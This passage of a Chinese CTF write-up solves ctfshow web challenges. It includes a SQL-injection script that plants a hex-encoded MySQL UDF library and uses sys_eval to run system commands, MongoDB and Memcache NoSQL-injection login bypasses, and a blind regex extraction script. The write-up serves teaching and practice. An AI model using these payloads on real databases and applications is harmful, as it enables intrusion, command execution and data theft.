000000000000000000000000008302000012000B00420F0000000000006700000000000000910200001200000000000000000000000000000000000000A50200001200000000000000000000000000000000000000B902000012000B00520C0000000000006300000000000000C10200001000F1FF10172000000000000000000000000000CD02000012000B009F0B0000000000004C00000000000000E30200001000F1FF20172000000000000000000000000000E80200001200000000000000000000000000000000000000FD02000012000B00090F0000000000000A000000000000000D0300001200000000000000000000000000000000000000220300001000F1FF101720000000000000000000000000002903000012000000000000000000000000000000000000003C03000012000900880900000000000000000000000000000063616C6C5F676D6F6E5F73746172740063727473747566662E63005F5F43544F525F4C4953545F5F005F5F44544F525F4C4953545F5F005F5F4A43525F4C4953545F5F005F5F646F5F676C6F62616C5F64746F72735F61757800636F6D706C657465642E363335320064746F725F6964782E36333534006672616D655F64756D6D79005F5F43544F525F454E445F5F005F5F4652414D455F454E445F5F005F5F4A43525F454E445F5F005F5F646F5F676C6F62616C5F63746F72735F617578006C69625F6D7973716C7564665F7379732E63005F474C4F42414C5F4F46465345545F5441424C455F005F5F64736F5F68616E646C65005F5F44544F525F454E445F5F005F44594E414D4943007379735F736574007379735F65786563005F5F676D6F6E5F73746172745F5F005F4A765F5265676973746572436C6173736573005F66696E69007379735F6576616C5F6465696E6974006D616C6C6F634040474C4942435F322E322E350073797374656D4040474C4942435F322E322E35007379735F657865635F696E6974007379735F6576616C0066676574734040474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974007379735F7365745F696E697400667265654040474C4942435F322E322E35007374726C656E4040474C4942435F322E322E350070636C6F73654040474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E666F5F696E6974005F5F6378615F66696E616C697A654040474C4942435F322E322E35007379735F7365745F6465696E6974007379735F6765745F696E6974007379735F6765745F6465696E6974006D656D6370794040474C4942435F322E322E35007379735F6576616C5F696E697400736574656E764040474C4942435F322E322E3500676574656E764040474C4942435F322E322E35007379735F676574005F5F6273735F7374617274006C69625F6D7973716C7564665F7379735F696E666F005F656E64007374726E6370794040474C4942435F322E322E35007379735F657865635F6465696E6974007265616C6C6F634040474C4942435F322E322E35005F656461746100706F70656E4040474C4942435F322E322E35005F696E697400"
for i in range(0,21510, 5000):
    end = i + 5000
    payload.append(udf[i:end])

p = dict(zip(text, payload))

for t in text:
    url = base_url+"?id=';select unhex('{}') into dumpfile '/usr/lib/mariadb/plugin/{}.txt'--+&page=1&limit=10".format(p[t], t)
    r = requests.get(url)
    print(r.status_code)

next_url = base_url+"?id=';select concat(load_file('/usr/lib/mariadb/plugin/a.txt'),load_file('/usr/lib/mariadb/plugin/b.txt'),load_file('/usr/lib/mariadb/plugin/c.txt'),load_file('/usr/lib/mariadb/plugin/d.txt'),load_file('/usr/lib/mariadb/plugin/e.txt')) into dumpfile '/usr/lib/mariadb/plugin/udf.so'--+&page=1&limit=10"
rn = requests.get(next_url)

uaf_url=base_url+"?id=';CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';--+"#导入udf函数
r=requests.get(uaf_url)
nn_url = base_url+"?id=';select sys_eval('cat /flag.*');--+&page=1&limit=10"
rnn = requests.get(nn_url)
print(rnn.text)

核心思路:
1.把恶意 so 文件写进 plugin_dir
2.CREATE FUNCTION 绑定 so
3.调用函数 → 执行系统命令

切片写入 Linux 下的 MySQL UDF 动态库
因为MySQL 限制dumpfile 写入的数据量有限、URL / SQL 长度有限,一次写完整 so 很容易失败

然后拼接二进制文件

select concat(
  load_file('a.txt'),
  load_file('b.txt'),
  ...
) into dumpfile 'udf.so'


CREATE FUNCTION = 注册后门
1.从 @@plugin_dir 加载 udf.so
2.找到导出的符号 sys_eval
3.注册为 SQL 函数

web249

$user = $memcache->get($id);

考点:nosql注入
使用 Memcache 类的 get 方法从缓存中获取数据,$id 是传入的键,用于从缓存中获取与该键对应的值,结果存储在 $user 变量中

解决:
数组绕过:

/api/?id[]=flag

返回:

{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"flag":"ctfshow{aea2dc6c-7668-492c-926c-623f64da0e9c}"}]}

解释:
正常:

/api/?id=1

返回:

{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"1","username":"user1","pass":"pass1"}]}

对于:$user = $memcache->get($id);

1.PHP 内建行为:
URL 参数:

?id=1

解析后:

$id = "1";      // string

URL 参数:

?id[]=flag

PHP 会解析为:

$id = ["flag"];   // array

2.memcache:

$memcache->get(['key1', 'key2']);

返回:

[
  'key1' => value1,
  'key2' => value2
]

3.对比
Memcache 有一个缓存存储,里面存了很多 key-value,比如:

key       value
"1"       {id:1, username:"user1", pass:"pass1"}
"2"       {id:2, username:"user2", pass:"pass2"}
"flag"    "ctfshow{...}"

字符串1:

$id = "1";
$user = $memcache->get("1");

找到了,就返回 value:

$user = [
  "id" => 1,
  "username" => "user1",
  "pass" => "pass1"
];

数组flag:

$id = ["flag"];
$user = $memcache->get(["flag"]);

Memcache 自动进入批量查询模式
等价于:

$user = [
  "flag" => $memcache->get("flag")
];

返回:

$user = [
  "flag" => "ctfshow{...}"
];

4.数组和字符串返回值的区别

请求方式 传入类型 Memcache 返回 后端是否接受
id=flag string "ctfshow{...}" ❌ 被当成非法结构
id[]=flag array {"flag":"ctfshow{...}"} ✅ 被当成合法数据

web250

  $query = new MongoDB\Driver\Query($data);
  $cursor = $manager->executeQuery('ctfshow.ctfshow_user', $query)->toArray();

考点:MongoDB NoSQL 注入
解决:

username[$ne]=1&password[$ne]=1
username[$regex]=.&password[$regex]=.

解释:

比较运算符:

操作符 含义 等价逻辑 注入中的用途
$eq 等于 == 精确匹配(较少用)
$ne 不等于 != 重言式注入,直接绕过登录
$gt 大于 > 盲注(字符比较)
$gte 大于等于 >= 盲注
$lt 小于 < 盲注
$lte 小于等于 <= 盲注
$in 在集合中 in (…) 枚举 / 绕过
$nin 不在集合中 not in (…) 绕过

逻辑运算符:

操作符 含义 等价逻辑 注入用途
$and && 精确控制条件
$or | 构造恒真条件
$nor 全否 !(A | B) 逻辑绕过
$not 取反 ! 反向匹配

对于正常的输入:

username=admin&password=123456

PHP 接收到的数据

$data = [
  "username" => "admin",
  "password" => "123456"
];

实际执行的 MongoDB 查询

db.ctfshow_user.find({
  username: "admin",
  password: "123456"
})

对于恶意的输入:

username[$ne]=1&password[$ne]=1

PHP 原生解析后

$_POST = [
  "username" => [
    "$ne" => "1"
  ],
  "password" => [
    "$ne" => "1"
  ]
];

MongoDB 实际收到的查询条件

db.ctfshow_user.find({
  username: { $ne: "1" },
  password: { $ne: "1" }
})

假设数据库中真实数据是:

{
  username: "admin",
  password: "admin123"
}

就这么绕过了登录:

"admin" != "1"      → true
"admin123" != "1"   → true

总结:
应用直接将用户输入作为 MongoDB 查询条件,未限制查询结构,攻击者通过构造 $ne 操作符,使查询条件恒成立,从而绕过身份认证,属于典型 MongoDB NoSQL 注入漏洞

web251

username[$ne]=1&password[$ne]=1

返回:

{"code":0,"msg":"\u767b\u9646\u6210\u529f ","count":1,"data":[{"_id":{"$oid":"61de6a5b504d14f773a7a95b"},"username":"admin","password":"ctfshow666nnneeaaabbbcc"}]}

这次查不是admin的

username[$ne]=admin&password[$ne]=1

返回

{"code":0,"msg":"\u767b\u9646\u6210\u529f ","count":1,"data":[{"_id":{"$oid":"6974cefc3f5a9581987c4bbc"},"username":"flag","password":"ctfshow{2c3fe686-5031-4752-a3b4-51dc75ad43b3}"}]}

web252

sql语句

db.ctfshow_user.find({username:'$username',password:'$password'}).pretty()

返回逻辑

  if(count($cursor)>0){
    $ret['msg']='登陆成功';
    array_push($ret['data'], $flag);
  }

解决:
思路1:

username[$gt]=admin1&password[$ne]=1
username[$gt]=admin2&password[$ne]=1
username[$gt]=admin3&password[$ne]=1

MongoDB 内部是按 UTF-8 / ASCII 顺序逐字符比较
例子:

"admin2" > "admin1"   ✔
"adminz" > "admin1"   ✔
"ctfshow" > "admin1"  ✔

思路2:

username[$ne]=1&password[$regex]=^ctfshow{

web253

db.ctfshow_user.find({username:'$username',password:'$password'}).pretty()

难点:无flag回显
盲注:

import requests
import string
table = string.digits+string.ascii_lowercase+string.ascii_uppercase+'_{}-,'
url = 'http://bb1039bf-96e5-413a-b4cc-e6914058a6cc.challenge.ctf.show/api/'
flag = ''
for i in range(100):
    for j in table:
        tmp = flag+j
        payload1 = f'f{tmp}.*$'
        data1 = {'username[$regex]':payload1
                ,'password[$ne]':1}

        payload2 = f'^{tmp}.*$'
        data2 = {'username[$regex]':'flag'
                 ,'password[$regex]':payload2}
        r = requests.post(url=url, data=data2).text
        if r"\u767b\u9646\u6210\u529f" in r:
            flag += j
            print(flag)
            break
posted @ 2026-06-12 20:32  Cava1i  阅读(22)  评论(0)    收藏  举报